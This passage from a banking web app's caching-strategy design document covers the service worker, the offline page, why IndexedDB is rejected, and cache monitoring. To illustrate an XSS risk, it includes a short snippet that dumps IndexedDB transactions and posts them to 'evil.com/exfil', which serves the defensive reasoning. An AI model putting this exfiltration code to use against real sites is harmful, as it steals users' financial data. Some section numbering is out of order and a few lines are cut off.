Offline fallback	**Precached**	`/offline.html` is precached on SW install. Served when any navigation request fails (user is offline).

12.3 Service Worker Update & Versioning

```
Deploy new version:
     │
     ▼
1. New JS/CSS bundles uploaded to CDN with new hashes
2. New SW file (service-worker.js) deployed with updated precache manifest
3. Browser detects new SW (byte-diff check on sw.js)
4. New SW installs in background (precaches new assets)
5. Old SW still active (serving old cached assets)
6. On next navigation (user refreshes or navigates):
   └── New SW activates
   └── Old caches cleaned up (stale hashes removed)
   └── User sees new version
     │
     ▼
Optional: Show a toast — "New version available. Refresh to update."
User clicks → window.location.reload()
```

```
// service-worker.ts (Workbox)
import { precacheAndRoute, cleanupOutdatedCaches } from 'workbox-precaching';
import { registerRoute, NavigationRoute } from 'workbox-routing';
import { NetworkFirst, CacheFirst, StaleWhileRevalidate, NetworkOnly } from 'workbox-str

precacheAndRoute(self.__WB_MANIFEST);
cleanupOutdatedCaches();

// API calls - NEVER cache
registerRoute(
  ({ url }) => url.pathname.startsWith('/api/'),
  new NetworkOnly()
);

// Auth calls - NEVER cache
registerRoute(
  ({ url }) => url.pathname.startsWith('/auth/'),
  new NetworkOnly()
);

// CDN images - stale-while-revalidate
registerRoute(
  ({ url }) => url.origin === 'https://cdn.bank.com',
  new StaleWhileRevalidate({
    cacheName: 'cdn-images',
    plugins: [
      new ExpirationPlugin({ maxEntries: 50, maxAgeSeconds: 30 * 24 * 60 * 60 }),
    ],
  })
);

// Offline fallback for navigation requests
const navigationHandler = new NetworkFirst({
  cacheName: 'navigations',
  networkTimeoutSeconds: 3,
});
registerRoute(new NavigationRoute(navigationHandler, {
  // If network fails, serve offline page
  // @ts-ignore
  catchHandler: async () => caches.match('/offline.html'),
}));
```

12.4 Offline Fallback Page

When the user is offline and tries to navigate, the SW serves `/offline.html`:

```
┌──────────────────────────────────────────────┐
│                                              │
│          🏦  Bank App                        │
│                                              │
│     ────────────────────────────             │
│                                              │
│     You are currently offline.               │
│                                              │
│     Financial features require an active     │
│     internet connection for security.        │
│                                              │
│     You can:                                 │
│     • Check your connection and try again    │
│     • Call customer support: 1800-XXX-XXXX   │
│                                              │
│              [ Try Again ]                   │
│                                              │
│     For your security, no financial data is  │
│     stored on this device.                   │
│                                              │
└──────────────────────────────────────────────┘
```

No cached financial data is shown on the offline page. This is a deliberate security decision — unlike e-commerce apps that might show cached product listings offline, a banking app must not display balances, transactions, or account details from stale cache when the user is offline.

12.5 What We Explicitly Do NOT Use Service Workers For

Feature	Status	Reasoning
Offline transaction drafts	Rejected	Storing pending transfers in SW/IndexedDB for later submission is a security risk: the draft could be tampered with, replayed, or stolen from disk. All transactions must be online, real-time.
Background sync for transactions	Rejected	`BackgroundSync` API could queue a transfer request and send it when online. In banking, this is unacceptable — the user must see the real-time result (success/failure) and the balance must be validated at execution time, not queue time.
Push notifications via SW	Used (limited)	SW handles incoming push notifications from Firebase Cloud Messaging. The notification payload contains only a message ("Transfer received") — never amounts, account numbers, or PII. Deep link to the app for details.
Caching API responses	Rejected	Financial API responses contain sensitive data. Caching them in SW's CacheStorage persists them to disk — same risk as IndexedDB/localStorage.

13. IndexedDB — Evaluated & Rejected

13.1 What Is IndexedDB

IndexedDB is a browser-side NoSQL database that stores structured data persistently on disk. It supports transactions, indexes, and can store megabytes to gigabytes of data. It's significantly more capable than localStorage (which is limited to 5-10MB of string key-value pairs).

13.2 Potential Use Cases Evaluated

Use Case	Description	Verdict
Offline transaction history	Cache the last 100 transactions in IndexedDB so users can view them offline	**Rejected**
Draft transfers	Save a partially-filled transfer form so users can complete it later (even offline)	**Rejected**
User preferences & settings	Store theme, language, default account, filter presets	**Accepted (limited)**
Encrypted session cache	Encrypt and store session data for faster re-authentication	**Rejected**
Analytics event queue	Buffer UI analytics events (click tracking, page views) for batch upload	**Accepted**
Form autofill data	Cache beneficiary names for the transfer form's autocomplete	**Rejected**

13.3 Why IndexedDB Is Rejected for Financial Data

```
┌──────────────────────────────────────────────────────────────────────────┐
│                IndexedDB REJECTION RATIONALE                              │
│                                                                          │
│  RISK 1: Data Persists on Disk (Unencrypted)                             │
│  ┌──────────────────────────────────────────────────────────────────┐    │
│  │  IndexedDB stores data in SQLite/LevelDB files on the user's      │    │
│  │  filesystem. These files are NOT encrypted by the browser.        │    │
│  │                                                                   │    │
│  │  On Windows: %APPDATA%/Google/Chrome/User Data/Default/IndexedDB/ │    │
│  │  On macOS:   ~/Library/Application Support/Google/Chrome/ ...     │    │
│  │                                                                   │    │
│  │  Anyone with filesystem access (shared computer, stolen laptop,   │    │
│  │  malware) can read the raw IndexedDB files and extract all data.  │    │
│  │                                                                   │    │
│  │  "But we could encrypt the data before storing in IndexedDB"      │    │
│  │  → Where do you store the encryption key? In JavaScript memory?   │    │
│  │    The key must be in JS-accessible scope → XSS can steal it.     │    │
│  │    Storing the key on the server defeats the purpose of offline.  │    │
│  └──────────────────────────────────────────────────────────────────┘    │
│                                                                          │
│  RISK 2: XSS Can Read IndexedDB                                          │
│  ┌──────────────────────────────────────────────────────────────────┐    │
│  │  Any JavaScript running on the page's origin can read IndexedDB.  │    │
│  │  XSS (cross-site scripting) is the #1 web vulnerability (OWASP).  │    │
│  │                                                                   │    │
│  │  If an attacker injects a script:                                 │    │
│  │    const db = await indexedDB.open('bankApp');                    │    │
│  │    const txns = await db.transaction('transactions')              │    │
│  │      .objectStore('transactions').getAll();                       │    │
│  │    fetch('https://evil.com/exfil', { body: JSON.stringify(txns) });│    │
│  │                                                                   │    │
│  │  All cached transactions, balances, and account data exfiltrated. │    │
│  │                                                                   │    │
│  │  Contrast with RTK Query memory cache: XSS can still read it,     │    │
│  │  but it's volatile — closing the tab destroys it. IndexedDB       │    │
│  │  persists across sessions, giving attackers a wider time window.  │    │
│  └──────────────────────────────────────────────────────────────────┘    │
│                                                                          │
│  RISK 3: Data Survives Logout                                            │
│  ┌──────────────────────────────────────────────────────────────────┐    │
│  │  When a user logs out, sensitiveDataGuard.ts clears:              │    │
│  │  • Redux store ✓                                                  │    │
│  │  • RTK Query cache ✓                                              │    │
│  │  • In-flight requests ✓                                           │    │
│  │                                                                   │    │
│  │  If we used IndexedDB, we'd also need to:                         │    │
│  │  • Delete all IndexedDB databases on logout                       │    │
│  │  • Handle the case where logout fails (network error, tab crash)  │    │
│  │    → IndexedDB data remains on disk, accessible to the next user  │    │
│  │  • Handle the case where the user just closes the tab (no logout) │    │
│  │    → IndexedDB data persists indefinitely                         │    │
│  │                                                                   │    │
```

```
│   │  Memory cache (RTK Query) has none of these problems — closing      │   │
│   │  the tab destroys it automatically. No cleanup code needed.         │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                               │
│  RISK 4: Stale Data Confusion                                                 │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │  If a user views cached transactions from IndexedDB offline,        │   │
│   │  they see a stale snapshot. A transfer that completed after the     │   │
│   │  cache was written won't appear. The balance is outdated.           │   │
│   │                                                                     │   │
│   │  In banking, showing stale financial data is worse than showing     │   │
│   │  nothing. A user who sees ₹50,000 balance (cached) but actually    │   │
│   │  has ₹5,000 (real) may make financial decisions based on            │   │
│   │  incorrect information.                                             │   │
│   │                                                                     │   │
│   │  Policy: "No data is better than wrong data for financial apps."    │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                               │
│  RISK 5: Regulatory Compliance                                                │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │  PCI-DSS Requirement 3: Protect stored cardholder data.             │   │
│   │  RBI guidelines: Minimize data stored on end-user devices.          │   │
│   │                                                                     │   │
│   │  Storing financial data in IndexedDB puts sensitive information     │   │
│   │  on the user's device in a format the bank does not control.        │   │
│   │  The bank cannot enforce encryption, cannot remotely wipe it,      │   │
│   │  and cannot audit access to it.                                     │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
└───────────────────────────────────────────────────────────────────────────────┘
```

13.4 What IndexedDB IS Used For (Narrow Scope)

Despite rejecting IndexedDB for financial data, two narrow use cases are permitted:

Use Case	What's Stored	Risk Level	Justification
User preferences	`{ theme: "dark", language: "en", defaultAccountId: "ACC-001", pageSize: 20 }`	Negligible	No financial data. No PII. If exfiltrated, attacker learns the user prefers dark mode.
Analytics event buffer	`[{ event: "page_view", page: "/transactions", ts: "..." }, ...]`	Low	Non-sensitive UI telemetry. Buffered for batch upload every 30 seconds. Cleared after upload.

```
// Permitted: non-sensitive preferences in IndexedDB
const prefsDb = await openDB('user-prefs', 1, {
  upgrade(db) {
    db.createObjectStore('preferences');
  },
});

await prefsDb.put('preferences', {
  theme: 'dark',
  language: 'en',
  defaultAccountId: 'ACC-001',
  pageSize: 20,
  filterPresets: [
    { name: 'UPI Only', filters: { categories: ['UPI'] } },
    { name: 'Large Transactions', filters: { amountRange: { min: 10000 } } },
  ],
}, 'current-user');
```

13.5 Comparison: IndexedDB vs RTK Query Memory Cache vs Redis

Dimension	IndexedDB	RTK Query (Memory)	Redis (Backend)
Persistence	Disk (survives tab close)	Volatile (lost on tab close)	Server-side (survives everything)
XSS exposure	Full read/write	Full read (but volatile)	Not accessible from browser
Stolen device risk	Files readable on disk	None (memory only)	None (server-side)
Encryption	Not encrypted by browser	N/A (in-memory)	At-rest encryption (ElastiCache)
Capacity	Hundreds of MB	Tens of MB (JS heap)	Tens of GB (cluster)
Banking suitability for financial data	**Not suitable**	**Acceptable** (short-lived, volatile)	**Primary choice**
Banking suitability for preferences	Acceptable	Acceptable (but lost on reload)	Overkill

13.6 When IndexedDB WOULD Be Reconsidered

Scenario	Why It Changes the Calculus
Origin Private File System (OPFS) matures with encryption	If browsers provide encrypted-at-rest storage with per-origin keys managed by the OS keychain, the stolen-device risk is mitigated. Not available in production today.
Offline-first mobile PWA requirement	If the product decides to offer a PWA that works offline (showing read-only transaction history), IndexedDB with application-layer encryption (Web Crypto API) could be evaluated. The encryption key would come from a server-derived key cached in memory — lost on tab close, requiring re-auth to decrypt. High complexity, questionable benefit for banking.
Regulatory clarification	If RBI explicitly permits client-side encrypted storage of financial data for offline viewing, the compliance risk is reduced. Currently, the regulatory position favors server-side data storage.

14. Monitoring & Observability

14.1 Key Cache Metrics

Metric	Source	Alert Threshold	Why It Matters
Hit rate	`cache_hit / (cache_hit + cache_miss)`	< 90% for 5 min	Low hit rate = cache is not effective, DB under unexpected load
Memory usage	`redis_used_memory_rss`	> 80% of max	OOM risk → evictions → degraded performance
Eviction rate	`redis_evicted_keys`	> 0 in production	Keys being evicted = memory pressure = undersized cluster
Connection count	`redis_connected_clients`	> 80% of max	Connection exhaustion → new requests fail
Latency (p99)	`redis_command_latency_p99`	> 5ms	Redis should be sub-1ms. 5ms indicates network or overload issue
Replication lag	`redis_replication_lag`	> 1 second	Stale reads from replicas
Caffeine hit rate	Micrometer `cache.gets{result=hit}`	< 80% for local cache	Local cache not warming → unnecessary Redis calls

12.2 Grafana Dashboard Panels

```
┌──────────────────────────────────────────────────────────────────────┐
│  CACHE OPERATIONS DASHBOARD                                          │
│                                                                      │
│   ┌──────────────────┐   ┌──────────────────┐   ┌──────────────────┐   │
│   │ Overall Hit Rate │   │ Memory Usage     │   │ Evictions/min    │   │
│   │     96.3%        │   │   8.8GB / 39GB   │   │       0          │   │
│   │     ▓▓▓
```

15.2 Access Control

```
Redis access:
• Network: Only accessible within VPC private subnet
• Auth: AUTH password (rotated via Vault every 30 days)
• TLS: In-transit encryption required
• IAM: ElastiCache IAM authentication for AWS-based access
• No public endpoint. No internet access to Redis.
```

End of Document — Caching Strategy v1.1